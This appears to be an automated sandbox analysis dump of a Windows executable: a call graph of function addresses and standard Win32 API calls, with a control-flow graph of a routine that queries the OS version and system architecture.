9a3980 22 API calls 108729->108730 108729->108731 108730->108731 108731->108713 108732->108716 108733->108693 108734->108697 108735->108704 108736->108704 108737->108711 108738 99105b 108743 994e52 108738->108743 108740 99106a 108772 9b04c3 29 API calls __onexit 108740->108772 108742 991074 108744 994e62 __wsopen_s 108743->108744 108745 999091 22 API calls 108744->108745 108746 994f18 108745->108746 108747 994ff8 24 API calls 108746->108747 108748 994f21 108747->108748 108773 994b95 108748->108773 108751 994dcb 22 API calls 108752 994f3a 108751->108752 108753 995e8e 22 API calls 108752->108753 108754 994f49 108753->108754 108755 999091 22 API calls 108754->108755 108756 994f52 108755->108756 108757 998e3b 22 API calls 108756->108757 108758 994f5b RegOpenKeyExW 108757->108758 108759 9d48c1 RegQueryValueExW 108758->108759 108762 994f7d 108758->108762 108760 9d48de 108759->108760 108761 9d4957 RegCloseKey 108759->108761 108763 993172 22 API calls 108760->108763 108761->108762 108771 9d4969 _wcslen 108761->108771 108762->108740 108764 9d4902 RegQueryValueExW 108763->108764 108765 9d491f 108764->108765 108768 9d4939 ISource 108764->108768 108766 99b0db 22 API calls 108765->108766 108766->108768 108767 9978f9 22 API calls 108767->108771 108768->108761 108769 99c110 22 API calls 108769->108771 108770 995e8e 22 API calls 108770->108771 108771->108762 108771->108767 108771->108769 108771->108770 108772->108742 108774 9d2370 __wsopen_s 108773->108774 108775 994ba2 GetFullPathNameW 108774->108775 108776 994bc4 108775->108776 108777 99b0db 22 API calls 108776->108777 108778 994be2 108777->108778 108778->108751 108779 99ea3c 108785 99ea45 __fread_nolock 108779->108785 108780 99c966 53 API calls 108780->108785 108781 9e4363 108796 9f12f6 22 API calls __fread_nolock 108781->108796 108783 9b01fb 22 API calls 108783->108785 108784 9e4388 108785->108780 108785->108781 108785->108783 108785->108784 108786 99e64c ISource __fread_nolock 108785->108786 108789 9e44eb 108786->108789 108790 9e46b7 108786->108790 108792 99ebe8 108786->108792 108795 99e6d7 108786->108795 108798 9ae156 22 API calls ISource 108786->108798 108797 9bd385 39 API calls 108789->108797 108793 9e46c9 108790->108793 108799 9bd385 39 API calls 108790->108799 108792->108795 108800 99ba2d 39 API calls 108792->108800 108796->108786 108797->108789 108798->108786 108799->108793 108800->108795 108801 9bf11e 108802 9bf12a CallCatchBlock 108801->108802 108803 9bf14b 108802->108803 108804 9bf136 108802->108804 108814 9b95ad EnterCriticalSection 108803->108814 108820 9c2c38 20 API calls _abort 108804->108820 108807 9bf157 108815 9bf18b 108807->108815 108808 9bf13b 108821 9c2b7c 26 API calls __wsopen_s 108808->108821 108813 9bf146 __wsopen_s 108814->108807 108823 9bf1b6 108815->108823 108817 9bf198 108819 9bf164 108817->108819 108843 9c2c38 20 API calls _abort 108817->108843 108822 9bf181 LeaveCriticalSection __fread_nolock 108819->108822 108820->108808 108821->108813 108822->108813 108824 9bf1de 108823->108824 108825 9bf1c4 108823->108825 108827 9bdd75 __fread_nolock 26 API calls 108824->108827 108847 9c2c38 20 API calls _abort 108825->108847 108829 9bf1e7 108827->108829 108828 9bf1c9 108848 9c2b7c 26 API calls __wsopen_s 108828->108848 108844 9c9829 108829->108844 108831 9bf1d4 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 108831->108817 108834 9bf2eb 108836 9bf29e 108834->108836 108837 9bf2f8 108834->108837 108835 9bf26f 108835->108836 108838 9bf28c 108835->108838 108836->108831 108851 9bf34b 30 API calls 2 library calls 108836->108851 108850 9c2c38 20 API calls _abort 108837->108850 108849 9bf4cf 31 API calls 4 library calls 108838->108849 108841 9bf296 108841->108831 108843->108819 108852 9c96a6 108844->108852 108846 9bf203 108846->108831 108846->108834 108846->108835 108847->108828 108848->108831 108849->108841 108850->108831 108851->108831 108853 9c96b2 CallCatchBlock 108852->108853 108854 9c96ba 108853->108854 108855 9c96d2 108853->108855 108887 9c2c25 20 API calls _abort 108854->108887 108856 9c9786 108855->108856 108860 9c970a 108855->108860 108892 9c2c25 20 API calls _abort 108856->108892 108859 9c96bf 108888 9c2c38 20 API calls _abort 108859->108888 108877 9c5567 EnterCriticalSection 108860->108877 108861 9c978b 108893 9c2c38 20 API calls _abort 108861->108893 108865 9c9710 108867 9c9749 108865->108867 108868 9c9734 108865->108868 108866 9c9793 108894 9c2b7c 26 API calls __wsopen_s 108866->108894 108878 9c97ab 108867->108878 108889 9c2c38 20 API calls _abort 108868->108889 108871 9c96c7 __wsopen_s 108871->108846 108873 9c9739 108890 9c2c25 20 API calls _abort 108873->108890 108874 9c9744 108891 9c977e LeaveCriticalSection __wsopen_s 108874->108891 108877->108865 108895 9c57e4 108878->108895 108880 9c97bd 108881 9c97c5 108880->108881 108882 9c97d6 SetFilePointerEx 108880->108882 108908 9c2c38 20 API calls _abort 108881->108908 108883 9c97ca 108882->108883 108884 9c97ee GetLastError 108882->108884 108883->108874 108909 9c2c02 20 API calls 2 library calls 108884->108909 108887->108859 108888->108871 108889->108873 108890->108874 108891->108871 108892->108861 108893->108866 108894->108871 108896 9c5806 108895->108896 108897 9c57f1 108895->108897 108901 9c582b 108896->108901 108912 9c2c25 20 API calls _abort 108896->108912 108910 9c2c25 20 API calls _abort 108897->108910 108900 9c57f6 108911 9c2c38 20 API calls _abort 108900->108911 108901->108880 108902 9c5836 108913 9c2c38 20 API calls _abort 108902->108913 108905 9c57fe 108905->108880 108906 9c583e 108914 9c2b7c 26 API calls __wsopen_s 108906->108914 108908->108883 108909->108883 108910->108900 108911->108905 108912->108902 108913->108906 108914->108905 108915 99e33c 108918 9a3150 108915->108918 108919 9a316b 108918->108919 108920 9e7eb7 108919->108920 108921 9e7f05 108919->108921 108940 9a3190 108919->108940 108924 9e7ec1 108920->108924 108927 9e7ece 108920->108927 108920->108940 108956 a16063 192 API calls 2 library calls 108921->108956 108954 a164f4 192 API calls 108924->108954 108926 9ac081 22 API calls 108926->108940 108942 9a3460 108927->108942 108955 a16991 192 API calls 2 library calls 108927->108955 108930 9e8198 108930->108930 108932 9a3620 40 API calls 108932->108940 108933 9ae585 40 API calls 108933->108940 108936 99e34a 108937 9e80e1 108958 a163cd 82 API calls 108937->108958 108940->108926 108940->108932 108940->108933 108940->108936 108940->108937 108941 998fbd 40 API calls 108940->108941 108940->108942 108945 99fe90 192 API calls 108940->108945 108947 9ae53f 40 API calls 108940->108947 108948 994645 192 API calls 108940->108948 108949 9b0662 5 API calls __Init_thread_wait 108940->108949 108950 9b04c3 29 API calls __onexit 108940->108950 108951 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 108940->108951 108952 9af3ba 82 API calls 108940->108952 108953 9af221 192 API calls 108940->108953 108957 9efede 22 API calls 108940->108957 108941->108940 108942->108936 108959 a03eb3 82 API calls __wsopen_s 108942->108959 108945->108940 108947->108940 108948->108940 108949->108940 108950->108940 108951->108940 108952->108940 108953->108940 108954->108927 108955->108942 108956->108940 108957->108940 108958->108942 108959->108930 108960 9c951a 108961 9c9527 108960->108961 108965 9c953f 108960->108965 109010 9c2c38 20 API calls _abort 108961->109010 108963 9c952c 109011 9c2b7c 26 API calls __wsopen_s 108963->109011 108969 9c959a 108965->108969 108974 9c9537 108965->108974 109012 9d01e5 21 API calls 2 library calls 108965->109012 108967 9bdd75 __fread_nolock 26 API calls 108968 9c95b2 108967->108968 108980 9c9052 108968->108980 108969->108967 108971 9c95b9 108972 9bdd75 __fread_nolock 26 API calls 108971->108972 108971->108974 108973 9c95e5 108972->108973 108973->108974 108975 9bdd75 __fread_nolock 26 API calls 108973->108975 108976 9c95f3 108975->108976 108976->108974 108977 9bdd75 __fread_nolock 26 API calls 108976->108977 108978 9c9603 108977->108978 108979 9bdd75 __fread_nolock 26 API calls 108978->108979 108979->108974 108981 9c905e CallCatchBlock 108980->108981 108982 9c907e 108981->108982 108983 9c9066 108981->108983 108985 9c9144 108982->108985 108990 9c90b7 108982->108990 109014 9c2c25 20 API calls _abort 108983->109014 109021 9c2c25 20 API calls _abort 108985->109021 108987 9c906b 109015 9c2c38 20 API calls _abort 108987->109015 108988 9c9149 109022 9c2c38 20 API calls _abort 108988->109022 108993 9c90db 108990->108993 108994 9c90c6 108990->108994 108992 9c9073 __wsopen_s 108992->108971 109013 9c5567 EnterCriticalSection 108993->109013 109016 9c2c25 20 API calls _abort 108994->109016 108996 9c90d3 109023 9c2b7c 26 API calls __wsopen_s 108996->109023 108998 9c90e1 109000 9c90fd 108998->109000 109001 9c9112 108998->109001 108999 9c90cb 109017 9c2c38 20 API calls _abort 108999->109017 109018 9c2c38 20 API calls _abort 109000->109018 109005 9c9165 __fread_nolock 38 API calls 109001->109005 109007 9c910d 109005->109007 109006 9c9102 109019 9c2c25 20 API calls _abort 109006->109019 109020 9c913c LeaveCriticalSection __wsopen_s 109007->109020 109010->108963 109011->108974 109012->108969 109013->108998 109014->108987 109015->108992 109016->108999 109017->108996 109018->109006 109019->109007 109020->108992 109021->108988 109022->108996 109023->108992 109024 991033 109029 995d2d 109024->109029 109028 991042 109030 999091 22 API calls 109029->109030 109031 995d9b 109030->109031 109038 99526e 109031->109038 109033 9d4c0f 109035 995e38 109035->109033 109036 991038 109035->109036 109041 995f26 22 API calls __fread_nolock 109035->109041 109037 9b04c3 29 API calls __onexit 109036->109037 109037->109028 109042 99529a 109038->109042 109041->109035 109043 99528d 109042->109043 109044 9952a7 109042->109044 109043->109035 109044->109043 109045 9952ae RegOpenKeyExW 109044->109045 109045->109043 109046 9952c8 RegQueryValueExW 109045->109046 109047 9952e9 109046->109047 109048 9952fe RegCloseKey 109046->109048 109047->109048 109048->109043 109049 9e5c93 109058 99bc67 109049->109058 109051 9e5ca9 109052 9e5d22 109051->109052 109062 9ab1b7 23 API calls 109051->109062 109056 9e6897 109052->109056 109064 a03eb3 82 API calls __wsopen_s 109052->109064 109055 9e5d02 109055->109052 109063 a02350 22 API calls 109055->109063 109059 99bc88 109058->109059 109061 99bc75 109058->109061 109060 9b01fb 22 API calls 109059->109060 109059->109061 109060->109061 109061->109051 109062->109055 109063->109052 109064->109056 109065 9a2b0d 109066 9e771c 109065->109066 109067 9a2b33 109065->109067 109070 9e77dc 109066->109070 109071 9e7780 109066->109071 109080 9a2c7d __fread_nolock 109066->109080 109068 9b01fb 22 API calls 109067->109068 109067->109080 109074 9a2b5d 109068->109074 109104 a03eb3 82 API calls __wsopen_s 109070->109104 109102 9ae466 192 API calls 109071->109102 109072 9e77d7 109076 9b01fb 22 API calls 109074->109076 109074->109080 109077 9a2bab 109076->109077 109077->109071 109078 9a2be6 109077->109078 109079 99fe90 192 API calls 109078->109079 109081 9a2bf9 109079->109081 109080->109072 109103 a03eb3 82 API calls __wsopen_s 109080->109103 109081->109072 109081->109080 109082 9e77ff 109081->109082 109083 9a2c47 109081->109083 109085 9a22f6 109081->109085 109105 a03eb3 82 API calls __wsopen_s 109082->109105 109083->109080 109083->109085 109086 9b01fb 22 API calls 109085->109086 109087 9a2359 109086->109087 109088 9ac103 22 API calls 109087->109088 109089 9a2383 109088->109089 109090 9b01fb 22 API calls 109089->109090 109094 9a243e ISource 109090->109094 109091 9a26e1 ISource 109092 9aa8c3 22 API calls 109091->109092 109098 9a277c ISource 109091->109098 109092->109098 109094->109091 109095 9e7cd3 109094->109095 109096 9e7cee 109094->109096 109099 9aa8c3 22 API calls 109094->109099 109106 9f5566 22 API calls ISource 109095->109106 109100 9a2793 109098->109100 109101 9ae13e 22 API calls ISource 109098->109101 109099->109094 109101->109098 109102->109080 109103->109072 109104->109072 109105->109072 109106->109096 109107 9e38a6 109123 99dd10 ISource 109107->109123 109108 99e071 PeekMessageW 109108->109123 109109 99dd67 GetInputState 109109->109108 109109->109123 109110 9e2b64 TranslateAcceleratorW 109110->109123 109112 99e0ef PeekMessageW 109112->109123 109113 99e0d3 TranslateMessage DispatchMessageW 109113->109112 109114 99df64 timeGetTime 109114->109123 109115 99e10f Sleep 109115->109123 109116 9e3a1a Sleep 109129 9e38f7 109116->109129 109119 9e2c80 timeGetTime 109182 9ab1b7 23 API calls 109119->109182 109121 9fdc3e 46 API calls 109121->109129 109122 9e3ab1 GetExitCodeProcess 109127 9e3add CloseHandle 109122->109127 109128 9e3ac7 WaitForSingleObject 109122->109128 109123->109108 109123->109109 109123->109110 109123->109112 109123->109113 109123->109114 109123->109115 109123->109116 109123->109119 109124 99df35 109123->109124 109123->109129 109134 99fe90 192 API calls 109123->109134 109135 9a3a70 192 API calls 109123->109135 109137 99e2b0 109123->109137 109144 99f220 109123->109144 109166 9af130 109123->109166 109171 9ff152 109123->109171 109181 9aeda7 timeGetTime 109123->109181 109183 a04341 22 API calls 109123->109183 109184 a03eb3 82 API calls __wsopen_s 109123->109184 109125 a23099 GetForegroundWindow 109125->109129 109127->109129 109128->109123 109128->109127 109129->109121 109129->109122 109129->109123 109129->109124 109129->109125 109130 9e3b4f Sleep 109129->109130 109185 9aeda7 timeGetTime 109129->109185 109130->109123 109134->109123 109135->109123 109138 99e2cf 109137->109138 109139 99e2e3 109137->109139 109186 99d7c0 109138->109186 109211 a03eb3 82 API calls __wsopen_s 109139->109211 109141 99e2da 109141->109123 109143 9e3e1b 109143->109143 109145 99f260 109144->109145 109150 99f32c ISource 109145->109150 109219 9b0662 5 API calls __Init_thread_wait 109145->109219 109148 9e4aa8 109148->109150 109152 999091 22 API calls 109148->109152 109149 999091 22 API calls 109149->109150 109150->109149 109151 a03eb3 82 API calls 109150->109151 109153 998fbd 40 API calls 109150->109153 109159 99fe90 192 API calls 109150->109159 109162 9a1d40 22 API calls 109150->109162 109163 99f631 109150->109163 109218 9ab909 192 API calls 109150->109218 109222 9b0662 5 API calls __Init_thread_wait 109150->109222 109223 9b04c3 29 API calls __onexit 109150->109223 109224 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 109150->109224 109225 a14fa8 102 API calls 109150->109225 109226 a17082 192 API calls 109150->109226 109151->109150 109155 9e4ac2 109152->109155 109153->109150 109220 9b04c3 29 API calls __onexit 109155->109220 109157 9e4acc 109221 9b0618 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 109157->109221 109159->109150 109162->109150 109163->109123 109168 9af143 109166->109168 109170 9af14c 109166->109170 109167 9af170 IsDialogMessageW 109167->109168 109167->109170 109168->109123 109169 9ef65e GetClassLongW 109169->109167 109169->109170 109170->109167 109170->109168 109170->109169 109172 9ff15f 109171->109172 109173 9ff1d0 109171->109173 109175 9ff16a QueryPerformanceCounter 109172->109175 109176 9ff161 Sleep 109172->109176 109173->109123 109175->109176 109177 9ff178 QueryPerformanceFrequency 109175->109177 109176->109173 109178 9ff182 Sleep QueryPerformanceCounter 109177->109178 109179 9ff1c3 109178->109179 109179->109178 109180 9ff1c7 109179->109180 109180->109173 109181->109123 109182->109123 109183->109123 109184->109123 109185->109129 109187 99fe90 192 API calls 109186->109187 109188 99d7fd 109187->109188 109189 99d86b ISource 109188->109189 109190 9e2a5b 109188->109190 109192 99d923 109188->109192 109199 9b01fb 22 API calls 109188->109199 109201 99d935 __fread_nolock 109188->109201 109203 99d989 ISource __fread_nolock 109188->109203 109189->109141 109217 a03eb3 82 API calls __wsopen_s 109190->109217 109194 9b01fb 22 API calls 109192->109194 109192->109201 109193 99db5f 109193->109190 109195 99db74 109193->109195 109194->109201 109196 9b01fb 22 API calls 109195->109196 109205 99d9ca 109196->109205 109197 9b01fb 22 API calls 109198 99d956 109197->109198 109198->109203 109212 99ce70 192 API calls 109198->109212 109199->109188 109201->109189 109201->109197 109201->109198 109202 9e2a4a 109216 a03eb3 82 API calls __wsopen_s 109202->109216 109203->109193 109203->109202 109203->109205 109207 9e2a25 109203->109207 109209 9e2a03 109203->109209 109213 99bbd8 192 API calls 109203->109213 109205->109141 109215 a03eb3 82 API calls __wsopen_s 109207->109215 109214 a03eb3 82 API calls __wsopen_s 109209->109214 109211->109143 109212->109203 109213->109203 109214->109205 109215->109205 109216->109205 109217->109189 109218->109150 109219->109148 109220->109157 109221->109150 109222->109150 109223->109150 109224->109150 109225->109150 109226->109150 109227 99e320 109230 99c893 109227->109230 109229 99e32c 109231 99c8b4 109230->109231 109236 99c8e5 109230->109236 109233 99fe90 192 API calls 109231->109233 109231->109236 109233->109236 109234 9e1197 109234->109234 109235 99c955 109235->109229 109236->109235 109237 a03eb3 82 API calls __wsopen_s 109236->109237 109237->109234 109238 991044 109243 9938e2 109238->109243 109240 99104a 109279 9b04c3 29 API calls __onexit 109240->109279 109242 991054 109280 993688 109243->109280 109247 993959 109248 999091 22 API calls 109247->109248 109249 993963 109248->109249 109250 999091 22 API calls 109249->109250 109251 99396d 109250->109251 109252 999091 22 API calls 109251->109252 109253 993977 109252->109253 109254 999091 22 API calls 109253->109254 109255 9939b5 109254->109255 109256 999091 22 API calls 109255->109256 109257 993a81 109256->109257 109290 995c93 109257->109290 109261 993ab3 109262 999091 22 API calls 109261->109262 109263 993abd 109262->109263 109264 9a3de0 9 API calls 109263->109264 109265 993ae8 109264->109265 109317 993806 109265->109317 109267 993b04 109268 993b14 GetStdHandle 109267->109268 109269 9d3f1c 109268->109269 109270 993b64 109268->109270 109269->109270 109271 9d3f25 109269->109271 109273 993b71 OleInitialize 109270->109273 109272 9b01fb 22 API calls 109271->109272 109274 9d3f2c 109272->109274 109273->109240 109322 a00984 InitializeCriticalSectionAndSpinCount InterlockedExchange GetCurrentProcess GetCurrentProcess DuplicateHandle 109274->109322 109276 9d3f35 109323 a01188 CreateThread 109276->109323 109278 9d3f41 CloseHandle 109278->109270 109279->109242 109324 9936e1 109280->109324 109283 9936e1 22 API calls 109284 9936c0 109283->109284 109285 999091 22 API calls 109284->109285 109286 9936cc 109285->109286 109287 99b0db 22 API calls 109286->109287 109288 9936d8 109287->109288 109289 993700 6 API calls 109288->109289 109289->109247 109291 999091 22 API calls 109290->109291 109292 995ca3 109291->109292 109293 999091 22 API calls 109292->109293 109294 995cab 109293->109294 109331 99764f 109294->109331 109297 99764f 22 API calls 109298 995cbb 109297->109298 109299 999091 22 API calls 109298->109299 109300 995cc6 109299->109300 109301 9b01fb 22 API calls 109300->109301 109302 993a8b 109301->109302 109303 993768 109302->109303 109304 993776 109303->109304 109305 999091 22 API calls 109304->109305 109306 993781 109305->109306 109307 999091 22 API calls 109306->109307 109308 99378c 109307->109308 109309 999091 22 API calls 109308->109309 109310 993797 109309->109310 109311 999091 22 API calls 109310->109311 109312 9937a2 109311->109312 109313 99764f 22 API calls 109312->109313 109314 9937ad 109313->109314 109315 9b01fb 22 API calls 109314->109315 109316 9937b4 RegisterWindowMessageW 109315->109316 109316->109261 109318 9d3f08 109317->109318 109319 993816 109317->109319 109320 9b01fb 22 API calls 109319->109320 109321 99381e 109320->109321 109321->109267 109322->109276 109323->109278 109334 a0116e 6 API calls 109323->109334 109325 999091 22 API calls 109324->109325 109326 9936ec 109325->109326 109327 999091 22 API calls 109326->109327 109328 9936f4 109327->109328 109329 999091 22 API calls 109328->109329 109330 9936b6 109329->109330 109330->109283 109332 999091 22 API calls 109331->109332 109333 995cb3 109332->109333 109333->109297 109335 9c8822 109340 9c85de 109335->109340 109339 9c884a 109345 9c860f try_get_first_available_module 109340->109345 109342 9c880e 109359 9c2b7c 26 API calls __wsopen_s 109342->109359 109344 9c8763 109344->109339 109352 9d0da5 109344->109352 109348 9c8758 109345->109348 109355 9b922b 40 API calls 2 library calls 109345->109355 109347 9c87ac 109347->109348 109356 9b922b 40 API calls 2 library calls 109347->109356 109348->109344 109358 9c2c38 20 API calls _abort 109348->109358 109350 9c87cb 109350->109348 109357 9b922b 40 API calls 2 library calls 109350->109357 109360 9d04a2 109352->109360 109354 9d0dc0 109354->109339 109355->109347 109356->109350 109357->109348 109358->109342 109359->109344 109362 9d04ae CallCatchBlock 109360->109362 109361 9d04bc 109418 9c2c38 20 API calls _abort 109361->109418 109362->109361 109364 9d04f5 109362->109364 109371 9d0a7c 109364->109371 109365 9d04c1 109419 9c2b7c 26 API calls __wsopen_s 109365->109419 109370 9d04cb __wsopen_s 109370->109354 109421 9d0850 109371->109421 109374 9d0aae 109453 9c2c25 20 API calls _abort 109374->109453 109375 9d0ac7 109439 9c5641 109375->109439 109378 9d0ab3 109454 9c2c38 20 API calls _abort 109378->109454 109379 9d0acc 109380 9d0aec 109379->109380 109381 9d0ad5 109379->109381 109452 9d07bb CreateFileW 109380->109452 109455 9c2c25 20 API calls _abort 109381->109455 109385 9d0ada 109456 9c2c38 20 API calls _abort 109385->109456 109386 9d0ba2 GetFileType 109389 9d0bad GetLastError 109386->109389 109390 9d0bf4 109386->109390 109388 9d0b77 GetLastError 109458 9c2c02 20 API calls 2 library calls 109388->109458 109459 9c2c02 20 API calls 2 library calls 109389->109459 109461 9c558a 21 API calls 3 library calls 109390->109461 109391 9d0b25 109391->109386 109391->109388 109457 9d07bb CreateFileW 109391->109457 109395 9d0bbb CloseHandle 109395->109378 109398 9d0be4 109395->109398 109397 9d0b6a 109397->109386 109397->109388 109460 9c2c38 20 API calls _abort 109398->109460 109399 9d0c15 109401 9d0c61 109399->109401 109462 9d09cc 72 API calls 4 library calls 109399->109462 109406 9d0c8e 109401->109406 109463 9d056e 72 API calls 4 library calls 109401->109463 109402 9d0be9 109402->109378 109405 9d0c87 109405->109406 109407 9d0c9f 109405->109407 109464 9c8ace 109406->109464 109409 9d0519 109407->109409 109410 9d0d1d CloseHandle 109407->109410 109420 9d0542 LeaveCriticalSection __wsopen_s 109409->109420 109479 9d07bb CreateFileW 109410->109479 109412 9d0d48 109413 9d0d7e 109412->109413 109414 9d0d52 GetLastError 109412->109414 109413->109409 109480 9c2c02 20 API calls 2 library calls 109414->109480 109416 9d0d5e 109481 9c5753 21 API calls 3 library calls 109416->109481 109418->109365 109419->109370 109420->109370 109422 9d088b 109421->109422 109423 9d0871 109421->109423 109482 9d07e0 109422->109482 109423->109422 109489 9c2c38 20 API calls _abort 109423->109489 109426 9d0880 109490 9c2b7c 26 API calls __wsopen_s 109426->109490 109428 9d08c3 109429 9d08f2 109428->109429 109491 9c2c38 20 API calls _abort 109428->109491 109437 9d0945 109429->109437 109493 9bdb2d 26 API calls 2 library calls 109429->109493 109432 9d0940 109434 9d09bf 109432->109434 109432->109437 109433 9d08e7 109492 9c2b7c 26 API calls __wsopen_s 109433->109492 109494 9c2b8c 11 API calls _abort 109434->109494 109437->109374 109437->109375 109438 9d09cb 109440 9c564d CallCatchBlock 109439->109440 109497 9c337e EnterCriticalSection 109440->109497 109442 9c5654 109443 9c5679 109442->109443 109448 9c56e7 EnterCriticalSection 109442->109448 109451 9c569b 109442->109451 109446 9c5420 __wsopen_s 21 API calls 109443->109446 109445 9c56c4 __wsopen_s 109445->109379 109447 9c567e 109446->109447 109447->109451 109501 9c5567 EnterCriticalSection 109447->109501 109449 9c56f4 LeaveCriticalSection 109448->109449 109448->109451 109449->109442 109498 9c574a 109451->109498 109452->109391 109453->109378 109454->109409 109455->109385 109456->109378 109457->109397 109458->109378 109459->109395 109460->109402 109461->109399 109462->109401 109463->109405 109465 9c57e4 __wsopen_s 26 API calls 109464->109465 109466 9c8ade 109465->109466 109467 9c8ae4 109466->109467 109468 9c8b16 109466->109468 109470 9c57e4 __wsopen_s 26 API calls 109466->109470 109503 9c5753 21 API calls 3 library calls 109467->109503 109468->109467 109471 9c57e4 __wsopen_s 26 API calls 109468->109471 109473 9c8b0d 109470->109473 109474 9c8b22 CloseHandle 109471->109474 109472 9c8b3c 109475 9c8b5e 109472->109475 109504 9c2c02 20 API calls 2 library calls 109472->109504 109476 9c57e4 __wsopen_s 26 API calls 109473->109476 109474->109467 109477 9c8b2e GetLastError 109474->109477 109475->109409 109476->109468 109477->109467 109479->109412 109480->109416 109481->109413 109485 9d07f8 109482->109485 109483 9d0813 109483->109428 109485->109483 109495 9c2c38 20 API calls _abort 109485->109495 109486 9d0837 109496 9c2b7c 26 API calls __wsopen_s 109486->109496 109488 9d0842 109488->109428 109489->109426 109490->109422 109491->109433 109492->109429 109493->109432 109494->109438 109495->109486 109496->109488 109497->109442 109502 9c33c6 LeaveCriticalSection 109498->109502 109500 9c5751 109500->109445 109501->109451 109502->109500 109503->109472 109504->109475 109505 9d2822 109508 9963ce 109505->109508 109509 99640d mciSendStringW 109508->109509 109510 9d4dc6 DestroyWindow 109508->109510 109511 996429 109509->109511 109512 996684 109509->109512 109522 9d4dd2 109510->109522 109513 996437 109511->109513 109511->109522 109512->109511 109514 996693 UnregisterHotKey 109512->109514 109541 9951e0 109513->109541 109514->109512 109516 9d4df0 FindClose 109516->109522 109518 9d4e17 109521 9d4e2a FreeLibrary 109518->109521 109523 9d4e3b 109518->109523 109519 9962ad CloseHandle 109519->109522 109520 99644c 109520->109523 109527 99645a 109520->109527 109521->109518 109522->109516 109522->109518 109522->109519 109524 9d4e4f VirtualFree 109523->109524 109529 9964c7 109523->109529 109524->109523 109525 9964b6 CoUninitialize 109525->109529 109526 9d4e97 109535 9d4ea6 ISource 109526->109535 109546 a03c02 6 API calls ISource 109526->109546 109527->109525 109529->109526 109530 9964d2 109529->109530 109545 9961ba 22 API calls 109530->109545 109537 9d4f35 109535->109537 109547 9f6cf0 22 API calls ISource 109535->109547 109537->109537 109542 9951ed 109541->109542 109543 995212 109542->109543 109548 9f7846 22 API calls 109542->109548 109543->109518 109543->109520 109546->109526 109547->109535 109548->109542 109549 993be6 109552 993c00 109549->109552 109553 993c17 109552->109553 109554 993c7b 109553->109554 109555 993c1c 109553->109555 109591 993c79 109553->109591 109557 9d3fae 109554->109557 109558 993c81 109554->109558 109559 993c29 109555->109559 109560 993cf5 PostQuitMessage 109555->109560 109556 993c60 DefWindowProcW 109594 993bfa 109556->109594 109607 9af18d 10 API calls 109557->109607 109561 993c88 109558->109561 109562 993cad SetTimer RegisterWindowMessageW 109558->109562 109563 9d401b 109559->109563 109564 993c34 109559->109564 109560->109594 109566 9d3f4f 109561->109566 109567 993c91 KillTimer 109561->109567 109568 993cd6 CreatePopupMenu 109562->109568 109562->109594 109610 9fc7a2 66 API calls ___scrt_fastfail 109563->109610 109569 993cff 109564->109569 109570 993c3e 109564->109570 109574 9d3f8a MoveWindow 109566->109574 109575 9d3f54 109566->109575 109576 993b82 Shell_NotifyIconW 109567->109576 109568->109594 109597 9afd8b 109569->109597 109577 993c49 109570->109577 109582 9d4000 109570->109582 109572 9d3fcf 109608 9af060 41 API calls 109572->109608 109574->109594 109579 9d3f79 SetFocus 109575->109579 109580 9d3f5a 109575->109580 109581 993ca4 109576->109581 109583 993ce3 109577->109583 109584 993c54 109577->109584 109579->109594 109580->109584 109586 9d3f63 109580->109586 109604 9953ce DeleteObject DestroyWindow 109581->109604 109582->109556 109609 9f1351 22 API calls 109582->109609 109605 993d10 76 API calls ___scrt_fastfail 109583->109605 109584->109556 109593 993b82 Shell_NotifyIconW 109584->109593 109585 9d402d 109585->109556 109585->109594 109606 9af18d 10 API calls 109586->109606 109591->109556 109592 993cf3 109592->109594 109595 9d3ff4 109593->109595 109596 993df8 61 API calls 109595->109596 109596->109591 109598 9afe29 109597->109598 109599 9afda3 ___scrt_fastfail 109597->109599 109598->109594 109600 994c04 56 API calls 109599->109600 109602 9afdca 109600->109602 109601 9afe12 KillTimer SetTimer 109601->109598 109602->109601 109603 9efd5a Shell_NotifyIconW 109602->109603 109603->109601 109604->109594 109605->109592 109606->109594 109607->109572 109608->109584 109609->109591 109610->109585

                                                                                                                                                                Executed Functions

                                                                                                                                                                Function 009929A4 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 234 9929a4-992a13 call 999091 GetVersionExW call 99b0db 239 992a19 234->239 240 9d3713-9d3726 234->240 241 992a1b-992a1d 239->241 242 9d3727-9d372b 240->242 243 992a23-992a7d call 9999c5 call 993249 241->243 244 9d3752 241->244 245 9d372d 242->245 246 9d372e-9d373a 242->246 259 9d3869-9d3870 243->259 260 992a83-992a85 243->260 249 9d3759-9d3765 244->249 245->246 246->242 248 9d373c-9d373e 246->248 248->241 251 9d3744-9d374b 248->251 252 992ae3-992afd GetCurrentProcess IsWow64Process 249->252 251->240 254 9d374d 251->254 256 992b5c-992b62 252->256 257 992aff 252->257 254->244 258 992b05-992b11 256->258 257->258 265 9d38ae-9d38b2 GetSystemInfo 258->265 266 992b17-992b26 LoadLibraryA 258->266 261 9d3890-9d3893 259->261 262 9d3872 259->262 263 992a8b-992a8e 260->263 264 9d376a-9d377d 260->264 272 9d387e-9d3886 261->272 273 9d3895-9d38a4 261->273 271 9d3878 262->271 263->252 274 992a90-992acc 263->274 269 9d377f-9d3788 264->269 270 9d37a6-9d37a8 264->270 267 992b28-992b36 GetProcAddress 266->267 268 992b64-992b6e GetSystemInfo 266->268 267->268 275 992b38-992b3c GetNativeSystemInfo 267->275 278 992b3e-992b40 268->278 276 9d378a-9d3790 269->276 277 9d3795-9d37a1 269->277 279 9d37dd-9d37e0 270->279 280 9d37aa-9d37bf 270->280 271->272 272->261 273->271 281 9d38a6-9d38ac 273->281 274->252 282 992ace-992ad7 274->282 275->278 276->252 277->252 283 992b49-992b5b 278->283 284 992b42-992b43 FreeLibrary 278->284 287 9d381b-9d381e 279->287 288 9d37e2-9d37fd 279->288 285 9d37cc-9d37d8 280->285 286 9d37c1-9d37c7 280->286 281->272 282->249 289 992add 282->289 284->283 285->252 286->252 287->252 292 9d3824-9d384b 287->292 290 9d37ff-9d3805 288->290 291 9d380a-9d3816 288->291 289->252 290->252 291->252 293 9d384d-9d3853 292->293 294 9d3858-9d3864 292->294 293->252 294->252
                                                                                                                                                                APIs
